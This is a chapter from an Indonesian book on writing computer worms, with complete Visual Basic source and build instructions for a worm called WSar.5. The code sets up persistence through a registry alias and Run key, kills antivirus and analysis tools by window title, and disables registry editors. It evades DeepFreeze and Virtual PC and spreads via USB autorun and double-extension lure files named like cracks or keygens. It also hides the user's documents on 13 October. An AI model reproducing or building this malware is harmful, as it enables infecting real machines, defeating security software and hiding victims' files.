• Tidak ada hasil yang ditemukan

W

orm ini bernama WSar.5 (worm dasar 5), dengan trik launcher yang menggunakan metode program aliases. Kare-na trik sederhaKare-na ini tergolong trik baru dan tidak banyak digunakan, sehingga akan mempersulit proses analisa bahkan untuk seorang advanced user sekalipun.

Selain itu worm dengan cerdiknya tidak akan bekerja apabila pada system komputer target, worm mendeteksi keberadaan program DeepFreeze atau merupakan suatu system komputer maya dari pro-gram Virtual PC, dan hal ini juga akan mempersulit proses analisa. Melalui WSar.5 penulis akan mendemonstrasikan metode yang digu-nakan worm Pesin untuk menonaktifkan program Registry Editor dan telah penulis kembangkan sehingga juga akan menonaktifkan program lain seperti Registrar Lite, System Mechanic, dan registry utility lain-nya.

Kemudian penulis juga mengembangkan dan mendemonstrasikan metode yang digunakan worm Kangen untuk menonaktifkan program Registry Editor dengan langsung menutupnya, tetapi karena untuk menonaktifkan program Registry Editor sudah menggunakan metode yang digunakan oleh worm Pesin maka penulis akan mengaplikasikan-nya pada program lain, seperti program informasi startup dan aplikasi antivirus.

Bab 11. Worm WSar.5

Worm ini memiliki ciri khas worm di masa lalu, dengan berusaha memenuhi worm pada disket, sekaligus memiliki ciri khas worm di masa sekarang, yang dilengkapi rutin untuk menulari usb disk serta membuat file konfigurasi yang secara otomatis akan mengeksekusi file worm apabila usb disk tersebut terhubung pada suatu system yang mengijinkan metode autorun.

11.1 ALGORITMA

WSar.5 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer

2. Kemudian Worm melakukan pemeriksaan keberadaan program DeepFreeze dan Virtual PC. Jika ditemukan maka worm secara otomatis mengakhiri proses file utama.

3. Worm menyembunyikan aplikasi file worm dari task list

4. Saat menginfeksi suatu system komputer, worm akan membuat salinan file utama ke direktori tertentu, kemudian memanipulasi registry dengan membuat program aliases yang mengarah kepada file salinan tersebut dan menambahkan registry run yang mengarah pada program aliases yang dibuat sebelumnya. Terakhir mema-nipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer 5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki

kata "REG" pada title-nya, seperti Registry Editor, Registrar Lite dan lain sebagainya. Worm juga akan langsung menutup aplikasi yang pada title-nya mengandung kata "vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan, kill"

6. Dampak lain yang ditimbulkan adalah setiap 5 menit secara oto-matis seluruh jendela aplikasi yang terbuka akan di minimize pada taskbar

Bab 11 Worm WSar.5

7. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.5 Ada Pada Komputer Anda", kemudian menambahkan atribut System, Hidden dan Read only pada setiap file yang ada pada folder My Documents, sehingga file tersebut tidak akan terli-hat oleh user.

11.2 PEMROGRAMAN

Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.5’

Tambahkan 4 buah object Timer, 2 buah object TextBox, 1 buah object DriveListBox dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form1

Jenis Nilai Keterangan

Name frmWSar5 Mengatur nama form menjadi frmWSar5

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.5 menggunakan icon winzip.ico ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

BorderStyle None Tidak memberikan garis tepi pada form ControlBox False Tidak menggunakan control box

Properti object Timer1

Jenis Nilai Keterangan

Name tmrDisableWindow Mengatur nama Timer menjadi tmrDisableWindow

Enable True Pastikan Timer akan aktif saat form di-load

Interval 500 Setiap instruksi pada procedure Timer

Bab 11. Worm WSar.5

Properti object Timer2

Jenis Nilai Keterangan

Name tmrIseng Mengatur nama Timer menjadi tmrIseng Enable True Pastikan Timer akan aktif saat form di-load Interval 1000 Setiap instruksi pada procedure Timer akan

dieksekusi setiap 1 detik

Properti object Timer3

Jenis Nilai Keterangan

Name tmrSpreading Mengganti nama Timer dari Timer3 menjadi tmrSpreading

Enable True Pastikan Timer akan aktif saat form di-load Interval 5000 Setiap instruksi pada procedure Timer akan

dieksekusi setiap 5 detik

Properti object Timer4

Jenis Nilai Keterangan

Name tmrAntiDestroyer Mengatur nama Timer menjadi tmrAntiDe-stroyer

Enable True Pastikan Timer akan aktif saat form di-load Interval 500 Setiap instruksi pada procedure Timer akan

dieksekusi setiap setengah detik

Properti object Text1

Jenis Nilai Keterangan

Bab 11 Worm WSar.5

Properti object Text2

Jenis Nilai Keterangan

Name txtPath2 Mengatur nama TextBox menjadi txtPath2

Properti Module1

Jenis Nilai Keterangan

Name mdlMinimize Mengatur nama module menjadi mdlMinimize

Properti Module2

Jenis Nilai Keterangan

Name mdlRegistryAPI Mengatur nama module menjadi mdlReg-istryAPI

Properti Module3

Jenis Nilai Keterangan

Name mdlWinForce Mengatur nama module menjadi mdlWin-Force

Ketik kode program berikut ini pada module mdlMinimize:

Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long

Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Const WM_COMMAND As Long = &H111

Private Const MIN_ALL As Long = 419 Private Const MIN_ALL_UNDO As Long = 416 Public Sub MinimizeAll()

Dim lngHwnd As Long

lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, MIN_ALL, 0&) End Sub

Bab 11. Worm WSar.5

Public Sub RestoreAll() Dim lngHwnd As Long

lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, _

MIN_ALL_UNDO, 0&) End Sub

Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinForce:

Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long)

Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As _ String, ByVal cch As Long) As Long

Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long)

Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long)

Private Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long

Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10

Private Function EnumWinProc(ByVal hwnd As Long, ByVal _ lParam As Long) As Long

Dim k As Long, sName As String

If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128)

k = GetWindowText(hwnd, sName, 128) If k > 0 Then

sName = Left$(sName, k)

If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then

hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1 End Function

Private Function WinFind(ByVal sWild As String, Optional ByVal _ bMatchCase As Boolean = True) As Long

sPattern = sWild

If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase)

Bab 11 Worm WSar.5 Function WinQuit(ByVal WindowsTitle As String)

On Error Resume Next hFind = 0

Dim wincap As Long Dim rtnval As Long

wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull) End Function

Function WinAble(ByVal WindowsTitle As String, ByVal value As Boolean) hFind = 0

On Error Resume Next Dim wincap As Long Dim rtnval As Long

wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = EnableWindow(wincap, value)

End Function

Ketik kode program berikut ini pada object frmWSar5:

'WSar.5 by Achmad Darmal

'Tarakan, Kalimantan Timur - Indonesia Option Explicit On

Private Declare Function CopyFile Lib "kernel32" Alias _ "CopyFileA" (ByVal lpExistingFileName As String, ByVal _ lpNewFileName As String, ByVal bFailIfExists As Long) As Long Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long

Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long

Private SF As String * 255

Private Declare Function GetDriveType Lib "kernel32" Alias _ "GetDriveTypeA" (ByVal nDrive As String) As Long Const DRIVE_CDROM = 5

Const DRIVE_FIXED = 3 Const DRIVE_RAMDISK = 6 Const DRIVE_REMOTE = 4 Const DRIVE_REMOVABLE = 2 Private Sub Form_Load()

If App.PrevInstance = True Then End

If Len(Dir$("c:\dfinstall.log")) <> 0 Then End

If Len(Dir$(SpecialFolder(0) & "\cntx\vpchelp.exe")) <> 0 _ Then End

App.TaskVisible = False Call InfectSystem()

If App.Path = "A:\" Or App.Path = "B:\" Then End End Sub

Bab 11. Worm WSar.5

Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String

MainFolder = SpecialFolder(0) & "\Config" MkDir(MainFolder)

CopyFile(WormFile, MainFolder & "\" & "system32.exe", False) SetAttr(MainFolder & "\" & "system32.exe", vbHidden + vbSystem _ + vbReadOnly)

CreateKey("HKEY_LOCAL_MACHINE\Software\Microsoft\W" & _ "indows\CurrentVersion\App Paths\LoadPowerProfile.EXE") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE", _ "", MainFolder & "\" & "system32.exe")

SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "LoadPowerProfile", _ "LoadPowerProfile Rundll32.exe") SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 2) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "HideFileExt", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "SuperHidden", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ShowSuperHidden", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ClassicViewState", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPath", 1) End Sub

Private Sub PayLoad() On Error Resume Next Dim UserDoc As String Dim eks As Integer

UserDoc = GetStringValue("HKEY_CURRENT_USER\Softwa" & _

"re\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal")

If Len(Dir$(UserDoc & "\*.doc")) <> 0 Then Shell("attrib +h +s +r " & UserDoc & "\*.doc") End If

End Sub

Private Sub tmrAntiDestroyer_Timer() On Error Resume Next

WinQuit("vir") WinQuit("av") WinQuit("safe") WinQuit("start") WinQuit("process")

Bab 11 Worm WSar.5 WinQuit("autoruns") WinQuit("hijack") WinQuit("patrol") WinQuit("alarm") WinQuit("task") WinQuit("config") WinQuit("folder option") WinQuit("system") WinQuit("properties") WinQuit("watson") WinQuit("remov") WinQuit("scan") WinQuit("kill") End Sub

Private Sub tmrDisableWindow_Timer() On Error Resume Next

WinAble("REG", False) End Sub

Private Sub tmrIseng_Timer() On Error Resume Next

If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then

Call MinimizeAll() End If

If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()

MsgBox("WSar.5 Ada Pada Komputer Anda", vbExclamation) End If

End Sub

Private Function SpecialFolder(ByVal value) On Error Resume Next

Dim FolderValue As String If value = 0 Then

FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If

If value = 1 Then

FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If

If Right(FolderValue, 1) = "\" Then

FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If

SpecialFolder = FolderValue End Function

Private Sub tmrSpreading_Timer() On Error Resume Next

Dim filenya As String Dim NamaCantik As String Dim NamaAwal(10) As String NamaAwal(0) = "crack" NamaAwal(1) = "serial" NamaAwal(2) = "full"

Bab 11. Worm WSar.5 NamaAwal(3) = "freeware" NamaAwal(4) = "tutorial" NamaAwal(5) = "software" NamaAwal(6) = "e-book" NamaAwal(7) = "keygen" NamaAwal(8) = "service pack" NamaAwal(9) = "update" Randomize()

Dim NamaTengah(20) As String NamaTengah(0) = "winamp" NamaTengah(1) = "winzip" NamaTengah(2) = "deepfreeze" NamaTengah(3) = "adobe reader" NamaTengah(4) = "vmware" NamaTengah(5) = "mirc" NamaTengah(6) = "kazaa" NamaTengah(7) = "transtool" NamaTengah(8) = "acdsee" NamaTengah(9) = "softice" NamaTengah(10) = "tweak ui" NamaTengah(11) = "alcohol 120%" NamaTengah(12) = "getright" NamaTengah(13) = "flash player" NamaTengah(14) = "winimage" NamaTengah(15) = "webshoot" NamaTengah(16) = "pdf factory" NamaTengah(17) = "shio" NamaTengah(18) = "horoskop" NamaTengah(19) = "zodiak" Randomize()

txtPath.Text = NamaAwal(Int(Rnd * 10)) & " " & NamaTengah(Int _ (Rnd * 20)) & " " & Year(Now) + 1

NamaCantik = txtPath.Text & ".exe" Dim FolderDocu As String

Dim FirstFile As String Dim FullDocu As String

FolderDocu = GetStringValue("HKEY_CURRENT_USER\Soft" & _

"ware\Microsoft\Windows\CurrentVersion\Explorer\Shell Fol" & _ "ders", "Personal")

txtPath.Text = FolderDocu

txtPath2.Text = Dir(txtPath.Text & "\*.doc") FullDocu = txtPath.Text & "\" & txtPath2.Text FirstFile = Left(FullDocu, (Len(FullDocu) - 4)) If Len(txtPath2.Text) > 4 Then

SetAttr(FullDocu, vbHidden)

CopyFile(App.Path & "\" & App.EXEName & ".exe", FirstFile & _ ".zip .exe", False)

SetAttr(FirstFile & ".zip .exe", vbNormal) End If

Bab 11 Worm WSar.5 If GetDriveType(Drive1.List(i) & "\") = 2 Then

If Len(Dir$(Drive1.List(i) & "\autorun.inf")) = 0 Then CopyFile(WormFile, Drive1.List(i) & "\SETUP.EXE", False) SetAttr(Drive1.List(i) & "\SETUP.EXE", vbReadOnly) filenya = Drive1.List(i) & "\autorun.inf"

Open filenya For Output As #1 Print #1, "[autorun]" Print #1, "OPEN=SETUP.EXE" Close(1)

SetAttr(Drive1.List(i) & "\autorun.inf", vbReadOnly) End If

End If Next i

If Second(Now) < 6 Then

FileCopy(WormFile, "a:\" & NamaCantik) End If

End Sub

Private Function WormFile() Dim WPath, WName As String WPath = App.Path

If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If

WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Berikut penjelasan tentang kode program:

Diawali dengan beberapa pendeklarasian function API, yang ber-guna untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa file "c:\dfinstall.log" yang menandakan keberadaan program DeepFreeze dan jika ternyata berhasil ditemukan maka worm akan mengakhiri proses file utama, demikian pula dengan program Virtual PC, worm akan memeriksa file yang secara default adalah "c:\windows\cntx\vpchelp.exe".

Procedure juga menyembunyikan proses dari taskbar, memanggil pro-cedure InfectSystem, dan mengakhiri proses jika ternyata file utama berada pada disket.

Pada procedure InfectSystem worm membuat salinan file utama ke suatu direktori yang secara default berada di "c:\windows\config" kemudian memanipulasi registry dengan menambahkan key HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer-sion\App Paths\LoadPowerProfile.EXE dengan value yang mengarah

Bab 11. Worm WSar.5

kepada file salinan tersebut dan menambahkan registry run dengan nama 'LoadPowerProfile’ dan value "LoadPowerProfile Rundll32.exe". Sebenarnya untuk value bisa menggunakan "LoadPowerProfile" saja, sengaja penulis tambahkan string "Rundll32.exe" dibelakangnya yang merupakan suatu file system Windows, dengan harapan dapat menge-coh penganalisa worm apabila akhirnya berhasil mengakses registry. Terakhir memanipulasi beberapa nilai registry dengan tujuan men-jaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer.

Procedure PayLoad pada WSar.5 akan terlihat lebih berbahaya, karena worm ini terlihat seperti menghapus seluruh file yang ada pada folder My Documents, namun sesungguhnya worm hanya mengatur semua file yang ada pada folder tersebut menjadi Hidden, System dan Read only yang tidak akan terlihat melalui Windows Explorer atau kotak dialog Open Documents.

Timer tmrAntiDestroyer akan memanggil function WinQuit pada module mdlWinForce dengan menutup aplikasi yang pada title-nya mengandung kata vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan dan kill.

Timer tmrDisableWindow akan memanggil function WinAble pada module mdlWinForce dengan menonaktifkan mouse dan keyboard pada aplikasi yang title-nya mengandung string "REG".

Timer tmrIseng akan memanggil function MinimizeAll pada module mdlMinimize dengan me-minimize semua jendela aplikasi yang aktif setiap 5 menit, dan jika tanggal dan bulan sekarang adalah 13 Oktober maka secara otomatis mengeksekusi procedure PayLoad, kemudian menampilkan sebuah kotak pesan dengan isi pesan "WSar.5 Ada Pada Komputer Anda".

Procedure tmrSpreading_Timer akan membuat data array NamaAwal sebanyak 10 dan NamaTengah sebanyak 20. Worm kemudian akan menggunakan nama acak dan menggabungkan kedua data tersebut untuk dijadikan nama file worm yang baru.

Bab 11 Worm WSar.5

Worm juga menambahkan bilangan tahun yang akan datang, sehingga apabila tahun sekarang adalah 2008 maka nilainya menjadi 2009, lihat contoh nama file berikut ini:

1. crack deepfreeze 2009.exe 2. freeware transtool 2009.exe 3. full softice 2009.exe

Procedure tmrSpreading_Timer kemudian mengatur nilai variabel FolderDocu dengan path My Documents yang didapatkan dari nilai registry, kemudian mengatur nilai properti Text pada txtPath dengan nilai yang sama pada variabel FolderDocu, mengatur nilai properti Text pada txtPath2 dengan suatu nilai berupa nama file dokumen Microsoft Word yang didapatkan dari function DIR dengan data dari nilai properti Text pada txtPath dan menambahkannya dengan string ".doc" sebagai ekstensinya, kemudian mengatur nilai variabel FullDocu dengan peng-gabungan nilai Text pada txtPath dan txtPath2, mengatur nilai variabel FirstFile menjadi nilai pada variabel FullDocu dengan terlebih dahulu menghilangkan 4 karakter disebelah kanan yang merupakan ekstensi file.

Jika jumlah karakter Text pada txtPath2 lebih besar dari 4, yang artinya ada file dokumen ditemukan maka procedure mengatur atribut file yang ada pada nilai variabel FullDocu menjadi Hidden, kemudian membuat salinan worm ke direktori tersebut dengan nama yang sama dan disertai dengan ekstensi ganda ".zip .exe" sekaligus mengatur atribut file salinan tersebut menjadi normal.

Selain itu worm akan membuat file konfigurasi AutoRun dengan nama file "autorun.inf" dan "setup.exe" disetiap removable disk (termasuk USB Flash Disk) yang terhubung, dengan tujuan agar removable disk yang terinfeksi secara otomatis akan menulari system komputer yang terhubung dengannya kemudian.

Jika detik sekarang lebih kecil dari 6 maka procedure membuat salinan worm ke drive A dengan nama file yang diambil secara acak.

Module mdlMinimize memanfaatkan function FindWindow dan PostMessage dari library user32, dengan membuat suatu function yang mengirimkan instruksi pada semua jendela aplikasi yang terbuka agar ter-minimize atau ter-maximize.

Bab 11. Worm WSar.5

Module WinForce memanfaatkan function API PostMessage, Enum-Windows, GetWindowText, EnableWindow, GetParent dan IsWin-dowVisible dari library user32, dengan membuat suatu function yang memeriksa caption setiap jendela aplikasi yang terbuka, dan dari cap-tion yang ditentukan memungkinkan untuk menutup file tersebut atau membuatnya menjadi aktif/enable atau tidak aktif/disable.

Bab 12. Worm WSar.6

BAB 12

Dalam dokumen Computer Worm 1 secret of underground coding (Halaman 166-180)